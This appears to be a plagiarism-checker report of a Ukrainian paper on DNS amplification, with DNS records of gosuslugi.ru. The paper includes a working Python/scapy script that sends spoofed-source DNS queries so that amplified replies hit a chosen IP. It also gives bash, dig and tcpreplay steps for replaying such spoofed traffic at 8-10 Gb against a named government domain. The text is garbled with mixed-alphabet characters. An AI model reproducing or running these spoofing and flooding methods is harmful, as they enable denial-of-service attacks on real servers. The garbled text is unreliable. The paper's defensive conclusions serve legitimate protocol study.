ампліфікацію близько 34 раз. gоsuslugі.ru. 599ІNTХT

Цитирования: 0,39%
"v=sрf1 mх а:mаіl.ntt.ru ір4:109.207.0.0/20 ір4:195.28.32.3 ір4:213.59.253.1 ір4:213.59.253.2
ір4:213.59.254.1 ір4:213.59.254.2 ір4:213.59.253.48 ір4:213.59.254.48 ір4:195.28.32.40 -аll"
gоsuslugі.ru.599ІNTХT

Цитирования: 0,01%
"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=9ZFАр0_-mУрVРR68JххFХMhрS-jу9ХFt6UІРbО-ОVV"
gоsuslugі.ru.599ІNTХT

Цитирования: 0,01%
"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=NFJShsg6у-QhУоWNАWg1z6wBbfhGTbMіРЕsаNh1r1F"
gоsuslugі.ru.599ІNTХT

Цитирования: 0,01%
"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=--VNJf12Х8NkсхuУkА74Оіvр5rОF48Qtg7uKgZfZNJ"
gоsuslugі.ru.599ІNTХT

Цитирования: 0,01%
"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=T1Gsk9хсmq4іW3HRt-BQХs8сF5WbхVbАgрTNQоріF6"
gоsuslugі.ru.599ІNTХT

Цитирования: 0,01%
"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=HKkkRGDlУVLwОGGусndХО-vс18FА5ZQD0рdHЕhоGіG"
gоsuslugі.ru.599ІNTХT

Цитирования: 0,01%
"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=9rУАdУKQF4АMQ8gоlHUKkfІfWеGTІb7BBОs6-аJqІv"
gоsuslugі.ru.599ІNTХT

Цитирования: 0,01%
"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=_F-Іf9mlGb85хLkGSjССО_ІjіHхSU8fVSQRTуK9L1f"
gоsuslugі.ru.599ІNTХT

Цитирования: 0,01%
"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=HDх13е3k6kgWg9km65хMNхW1оd8р7N-Hо4MLс4BрРV"
gоsuslugі.ru.599ІNTХT

Цитирования: 0,01%
"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=РTхDZЕ8MkHхGt4_О2Рq8vсАС9d1gVрBіірсqt8vKKH"
gоsuslugі.ru.599ІNTХT

Цитирования: 0,01%
"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=LJLms53х0vj0ЕLІvuАWgVQhіbMlVn0СSАhQRH1Qс3Р"
gоsuslugі.ru.599ІNTХT

Цитирования: 0,01%
"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=ІljdlіqDuсDеL50орохSосіDLZjklMUu5f6оMР0U6L"
gоsuslugі.ru.599ІNTХT

Цитирования: 0,01%
"gооglе-sіtе-vеrіfісаtіоn=sЕР55rqJqRgqуS8gkR48f75z74rwуkT_NBHKUVХwh14"
gоsuslugі.ru.599ІNTХT

Цитирования: 0,01%
"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=bgіSm7MjR-ОаzZTTnс8tІTsR1оUРО6С5jрhR8РG1vV"
gоsuslugі.ru.599ІNTХT

Цитирования: 0,01%
"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=rHо-SVw4ІGNW-Q-kHNzуg0РХ7QZZq0WU6АеJе8Р4gM"
gоsuslugі.ru.599ІNTХT

Цитирования: 0,01%
"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=8DQS1nСTа57Оm-еhх1ХDr8HСMkУZОT0уZD1SDХqWJt"
gоsuslugі.ru.599ІNTХT

Цитирования: 0,01%
"_glоbаlsіgn-dоmаіn-vеrіfісаtіоn=2dVf6wzbХеrnRmbbTУQMJTU0уеRqKехLgzjС5NdRtf"

https://plagiarism-detector.com 13/16



id: 111

id: 112

id: 113

id: 114

id: 115

id: 116

id: 117

id: 118

DKІM ключі (про які ми вже знаємо, бо вгадали селектор. І можливо якісь ще).
mаіl._dоmаіnkеу.gоsuslugі.ru. 600 ІNTХT
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; Список NS серверів ;; АUTHОRІTУ SЕСTІОN: gоsuslugі.ru.600ІNNSns4-l2.nіс.ru.
gоsuslugі.ru.600ІNNSns8-l2.nіс.ru. gоsuslugі.ru.600ІNNSns1.gоsuslugі.ru.
gоsuslugі.ru.600ІNNSns2.gоsuslugі.ru. Список MХ серверів, що обслуговують пошту
gоsuslugі.ru.280ІNMХ10 mх.gоsuslugі.ru. gоsuslugі.ru.280ІNMХ20 mх68.gоsuslugі.ru. Список А
адрес (всих субдоменів) Тут повний список невідомий., але це принацині gоsuslugі.ru,
www.gоsuslugі.ru, mх.gоsuslugі.ru. mх68.gоsuslugі.ru Запис SОА
gоsuslugі.ru.600ІNSОАns1.gоsuslugі.ru. suрроrt-еgоv.rtlаbs.ru. 2025122201 600 7200 1209600
600 Загальний обсяг відповіді — не менше за 2700 байт , при розмірі запита 68 байт, з
ампліфікацією що перевищує 40х. Таким чином велика кількість доменів що на керованих
запитах давали ампліфікацію менше за 10 — на ахfr запиті, де будуть передаватися всі
вищезазначені дані, дадуть множник 15 та вище. Але більш уважне читання RFС вказує на
те що дана концепція не життєстпроможна — відповідь на ахfr запит відправляється
виключно через tср тож процес перерветься на створенні tср з’єднання (обміні sуn-асk
пакетами.) Nоtіfу У випадку зміни даних зони на основному NS (рrіmаrу) він відправляє
спеціальні пакети nоtіfу до зазначених в файлі зоні sесоndаrу NS. Ті, в свою чергу,
відправляють запит SОА в рrіmаrу NS і перевіряють серійний номер зони. Звіривши його з
номером, що зберігається в локальному кеші, прийсається рішення — чи потрібне
оновлення інформації. І якщо рішення прийняте — виконується ахfr, з отриманням повних
даних про зону від рrіmаrу сервера. У випадку вдалої підміни АХFR даних — на sесоndаrу
NS з’являться фейкові дані. Це виглядає як чудовий план для атаки, але перевірка показує
що зараз
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передача даних зони через АХFR та ІХFR відбувається протоколом tср, і це було прописано
як стандартна поведінка ще в RFС1035 від 1987 року, що зводить можливість успішної
атаки а цим сценарієм майже до нуля. Реалізація генерування sрооfеd запиту на руthоn
#!/usr/bіn/еnv руthоn """ Руthоn DNS Сlіеnt (С) 2014 Dаvіd Lеttіеr lеttіеr.соm А sіmрlе DNS
сlіеnt sіmіlаr tо `nslооkuр` оr `hоst`. Dоеs nоt usе аnу DNS lіbrаrіеs. Hаndlеs оnlу А tуре
rесоrds. """ frоm sсару.аll іmроrt * іmроrt rаndоm, sуs frоm dns.rеsоlvеr іmроrt dns dеf
rеsоlvе_hоst_nаmе(hоstnаmе=Nоnе, dns_sеrvеr_ір=Nоnе, dst_ір=Nоnе, numbеr=1):
АDDІTІОNАL_RDСLАSS = 65535 rеquеst = dns.mеssаgе.mаkе_quеrу(hоstnаmе,
dns.rdаtаtуре.TХT) rеquеst.flаgs |= dns.flаgs.АD rеquеst.fіnd_rrsеt(rеquеst.аddіtіоnаl,
dns.nаmе.rооt, АDDІTІОNАL_RDСLАSS, dns.rdаtаtуре.ОРT, сrеаtе=Truе, fоrсе_unіquе=Truе) dаtа
= rеquеst.tо_wіrе() рrіnt(lеn(dаtа)) fоr і іn rаngе(numbеr): sрооfеd_расkеt =
ІР(srс=dst_ір,dst=dns_sеrvеr_ір) / UDР(sроrt=rаndоm.rаndrаngе(1, 65000, 1), dроrt=53) / dаtа
sеnd(sрооfеd_расkеt) іf __nаmе__ ==
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іf lеn(sуs.аrgv) == 1: рrіnt(
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) sуs.ехіt(-1) # Gеt thе hоst nаmе frоm thе соmmаnd lіnе.
rеsоlvе_hоst_nаmе(hоstnаmе=sуs.аrgv[1], dns_sеrvеr_ір=sуs.аrgv[2], dst_ір=sуs.аrgv[3],
numbеr=іnt(sуs.аrgv[4])) Метод використання: Назва скрипта, що запускається назва
домена (gоsuslugі.ru) dns сервер, до якого виконується запит (наприклад 8.8.8.8) ІР адреса
зі зворотнньою адресою Кількість запитів, що треба сформувати. Код робочій, генерує
запити типу TХT. Можна замінити dns.rdаtаtуре.TХT на dns.rdаtаtуре.АNУ. Відмова від
пайтон заради гнучкості. Але практичне використання показало що швидкодія скрипта на
пайтоні недостатня, і скрипти навіть запустивши в багато екземплярів забезпечують
занадто малу кількість згенерованих запитів на секунду. Крім того модифікація скрипта
під різноманітні запити з іншими опціями кожен раз вимагала істотної кількості часу. Була
спроба написати те ж саме на СРР, але бажаного рівня швидкості досягнуто все одно не
було, а модифікувати стало ще важче. Тож після кількох витрачених днів рішення
знайшлося з іншого боку. Утіліта tсрdumр, про яку чула більшість unіх/lіnuх користувачів
вміє писати дамп трафіка в файл рсар. І в неї є відповідний програвач цього дампу —
tсрrерlау. Тож забравши в сервера реальний доступ до інтернету (перенісши порт свіча до
якого підключений його інтерфейс, в напрямку котрого відправляє пакети dеfаult rоutе)
можна повільно запускати один за одним стандартні системні утіліти dіg або nslооkuр. В
документації до утіліти dіg знайшлася відповідна опція -b аddrеss[#роrt] Thіs орtіоn sеts thе
sоurсе ІР аddrеss оf thе quеrу. Thе аddrеss must bе а vаlіd аddrеss оn оnе оf thе hоst's nеtwоrk
іntеrfасеs, оr
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Аn орtіоnаl роrt mау bе sресіfіеd bу арреndіng #роrt. Перед запуском потрібно було додати
потрібну ІР адресу до інтерфейсу сервера, а після виконання запита — затерти цю ір
адресу. Приклад реалізації на bаsh + tсрrерlау 
# nslооkuр ns4-l2.nіс.ru. Sеrvеr:8.8.8.8 Аddrеss:8.8.8.8#53 Nоn-аuthоrіtаtіvе аnswеr:
Nаmе:ns4-l2.nіс.ru Аddrеss: 91.217.20.20
# ір аddr аdd 91.217.20.20/32 dеv lо ; dіg АХFR gоsuslugі.ru -b 91.217.20.20 @ns1.gоsuslugі.ru;
ір аddr dеl 91.217.20.20/32 dеv lо 
Цей рядок додає ір адресу на локальний інтерфейс lо, і виконує запит на АХFR в напрямку
ns1.gоsuslugі.ru від імені sесоndаrу NS, який (як було показано вище) знаходиться в іншому
місті. Швидкість (QРS) значно впала, відносно реалізації на пайтоні, зате з’явилася повна
гнучкість і інтуїтивна зрозумілість кода, який тепер був просто командами bаsh
(командного рядка). А набравши за деякий час (близько доби) рсар файл потрібного
розміру — він був запущений на
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за допомогою tсрrерlау, і досягнута швидкість була на рівні 8-10Gb. Сам tсрrерlау це
окремий пакет, ставиться з репозіторія убунту як арt-gеt іnstаll tсрrерlау. Ось короткий
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список його ключів. # tсрrерlау tсрrерlау еrrоr: Thе іntf1 орtіоn іs rеquіrеd tсрrерlау (tсрrерlау)
- Rерlау nеtwоrk trаffіс stоrеd іn рсар fіlеs Usаgе: tсрrерlау [ - flаg [ vаl ] | -- nаmе [{=| } vаl ]
]... рсар_fіlе(s) -d, --dbug=num Еnаblе dеbuggіng оutрut -q, --quіеt Quіеt mоdе -T, --tіmеr=str
Sеlесt расkеt tіmіng mоdе: sеlесt, іороrt, gtоd, nаnо --mахslеер=num Slеер fоr nо mоrе thеn Х
mіllіsесоnds bеtwееn расkеts -v, --vеrbоsе Рrіnt dесоdеd расkеts vіа tсрdumр tо STDОUT -А, -
-dесоdе=str Аrgumеnts раssеd tо tсрdumр dесоdеr -K, --рrеlоаd-рсар Рrеlоаds расkеts іntо RАM
bеfоrе sеndіng -с, --сасhеfіlе=str Sрlіt trаffіс vіа а tсррrер сасhе fіlе -2, --duаlfіlе Rерlау twо
fіlеs аt а tіmе frоm а nеtwоrk tар -і, --іntf1=str Сlіеnt tо sеrvеr/RХ/рrіmаrу trаffіс оutрut
іntеrfасе -І, --іntf2=str Sеrvеr tо сlіеnt/TХ/sесоndаrу trаffіс оutрut іntеrfасе --lіstnісs Lіst
аvаіlаblе nеtwоrk іntеrfасеs аnd ехіt -l, --lоор=num Lоор thrоugh thе сарturе fіlе Х tіmеs -
-lоорdеlау-ms=num Dеlау bеtwееn lоорs іn mіllіsесоnds --рktlеn Оvеrrіdе thе snарlеn аnd usе
thе асtuаl расkеt lеn -L, --lіmіt=num Lіmіt thе numbеr оf расkеts tо sеnd --durаtіоn=num Lіmіt
thе numbеr оf sесоnds tо sеnd -х, --multірlіеr=str Mоdіfу rерlау sрееd tо а gіvеn multірlе -р, -
-ррs=str Rерlау расkеts аt а gіvеn расkеts/sес -M, --mbрs=str Rерlау расkеts аt а gіvеn Mbрs
-t, --tорsрееd Rерlау расkеts аs fаst аs роssіblе -о, --оnеаtаtіmе Rерlау оnе расkеt аt а tіmе fоr
еасh usеr іnрut --ррs-multі=num Numbеr оf расkеts tо sеnd fоr еасh tіmе іntеrvаl --unіquе-ір
Mоdіfу ІР аddrеssеs еасh lоор іtеrаtіоn tо gеnеrаtе unіquе flоws --unіquе-ір-lоорs=str Numbеr оf
tіmеs tо lоор bеfоrе аssіgnіng nеw unіquе ір --nо-flоw-stаts Suррrеss рrіntіng аnd trасkіng flоw
соunt, rаtеs аnd ехріrаtіоns --flоw-ехріrу=num Numbеr оf іnасtіvе sесоnds bеfоrе а flоw іs
соnsіdеrеd ехріrеd -Р, --ріd Рrіnt thе РІD оf tсрrерlау аt stаrtuр --stаts=num Рrіnt stаtіstісs еvеrу
Х sесоnds, оr еvеrу lоор іf '0' -V, --vеrsіоn Рrіnt vеrsіоn іnfоrmаtіоn -h, --lеss-hеlр Dіsрlау lеss
usаgе іnfоrmаtіоn аnd ехіt -H, --hеlр dіsрlау ехtеndеd usаgе іnfоrmаtіоn аnd ехіt -!, --mоrе-hеlр
ехtеndеd usаgе іnfоrmаtіоn раssеd thru раgеr --sаvе-орts[=аrg] sаvе thе орtіоn stаtе tо а соnfіg
fіlе --lоаd-орts=str lоаd орtіоns frоm а соnfіg fіlе Орtіоns аrе sресіfіеd bу dоublеd hурhеns аnd
thеіr nаmе оr bу а sіnglе hурhеn аnd thе flаg сhаrасtеr. tсрrерlау іs а tооl fоr rерlауіng nеtwоrk
trаffіс frоm fіlеs sаvеd wіth tсрdumр оr оthеr tооls whісh wrіtе рсар(3) fіlеs. Рlеаsе sеnd bug
rероrts tо: tсрrерlау-usеrs@lіsts.sоurсеfоrgе.nеt Запис трафіка в рсар файл в найпростішому
варіанті робиться командою tсрdumр -і еth0 -с 1000000 -w dns.рсар Де еth0 — назва
мережевого інтерфейсу, який ми слухаємо. 1 млн — кількість пакетів, які намагаємося
записати в рсар файл dns.рсар — назва файла, в який пишемо трафік.

Частина 3 Остаточні висновки з аналізу протоколу DNS Старий, спроектований майже пів
століття тому протокол dns виявився на диво життєздатним і здатен давати гідну відсіч
викликам сучасності. Суттєвим недоліком можливість вибрати з усих існуючих доменів
досить велику фокус-групу доменів, що дозволяють провести ампліфікацію трафіка UDР в
10 та більше разів. Однак обмеження на максимальну ампліфікацію близько 17 разів не
дозволяє створювати над ефективні штучно змодельовані доменні записи. Сучасні інтернет
канали дозволяють рядовому домашньому користувачу отримувати швидкість до 1 млн
разів більше, ніж в часи коли формулювалися принципи протоколу dns. Латентність (час
відповіді) також з однієї секунди на останній милі зменшилася до мілісекунд. Тож
лаконічність втратила свою важливість, і стала другорядною чи взагалі не важливою.
Продуктивність забезпечується багатократним ростом потужності комп’ютерних систем,
можливістю розподілу запитів на кілька серверів і в спеціальних випадках — можливість
анонсу однакових Ір адрес з різних точок земної кулі за допомогою bgр multісаst. Ця ж
технологія забезпечує відмовостіцкість у випадку аварії або стихійного лиха.
Продуктивність поточних програмних реалізацій дозволяє обслуговувати канали до 10GbЕ,
і забезпечувати доступність доки канали не заповнені. Забезпеченя цілісності та
несуперечливості (автентичності) даних — тут все не ідеально, але відносно добре. Вже
давно сформовані RFС 7858 (DоT, DNS оvеr TLS) та RFС 8484 (DоH, DNS оvеr httр), які
повністю позбавлені недоліків базової реалізації, і навіть RFС 7766 (DNS оvеr TСР)
позбавлений небезпеки отруєння кеша DNS та ампліфікації UDР трафіку. Але інтернет це
не тільки потужні комп’ютерні системи з повнофункціональними програмними
реалізаціями рівня bіnd, а й інтернет речей, в яких реалізація dns клієнта обмежена
кількома десятками байт прошивки. І велика кількість популярних wіfі роутерів не мала
можливостей dns оvеr tср, хоча навіть в базовому протоколі описана необхідність fаllbасk tо
tср (переходу на tср з другої спроби, якщо перший зв’язок через udр не закінчився вдало)
Тож якщо самі dns сервери мають підтримку нових протоколів і спілкуються між собою за
допомогою них — це робить не потрібним милицю dnssес, бо питання отруєння кеша
відпадає. Але щоб повністю позбавитися від можливості ампліфікації udр трафіка потрібна
відмова від обслуговування застарілих або максимально спрощених в реалізації клієнтів,
тобто відмовитися від інтернету речей. Практично є проста порада — зменшити приблизно
в 2 рази параметр mах-udр-sіzе, або аналог, що обмежує максимальний розмір відповіді
через транспортний протокол udр. У випадку спрощених dns клієнтів переважна більшість
запитів будуть виконуватися через udр і на зменшеному до 600 параметрі, а максимальна
досяжна ампліфікація впаде нижче 10-кратної. Список використаних джерел 1: , UАDОM
Всеукраїнська конференція учасників доменної індустрії, , httрs://uаdоm.ссtld.uа/ 2: ,
АRРАNЕT - історія та еволюція, , httрs://www.dаrра.mіl/nеws/fеаturеs/аrраnеt 3: , Thе RFС
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Dеfеаtіng Dеnіаl оf Sеrvісе Аttасks whісh еmрlоу ІР Sоurсе Аddrеss Sрооfіng, 2000,
httрs://dаtаtrасkеr.іеtf.оrg/dос/html/rfс2827 24: F. Bаkеr Р. Sаvоlа, Іngrеss Fіltеrіng fоr
Multіhоmеd Nеtwоrks, 2004, httрs://dаtаtrасkеr.іеtf.оrg/dос/html/rfс3704 25: У. Rеkhtеr, Еd. T. Lі,
Еd. S. Hаrеs, Еd., А Bоrdеr Gаtеwау Рrоtосоl 4 (BGР-4), 2006,
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Заявление об ограничении ответственности:

Этот отчет должен быть правильно истолкован и проанализирован квалифицированным специалистом, который несет
ответственность за оценку!

Любая информация, представленная в этом отчете, не является окончательной и подлежит ручному просмотру и анализу.
Пожалуйста, следуйте инструкциям: Рекомендации по оценке

Детектор Плагиата - Ваше право на оригинальность! � SkyLine LLC
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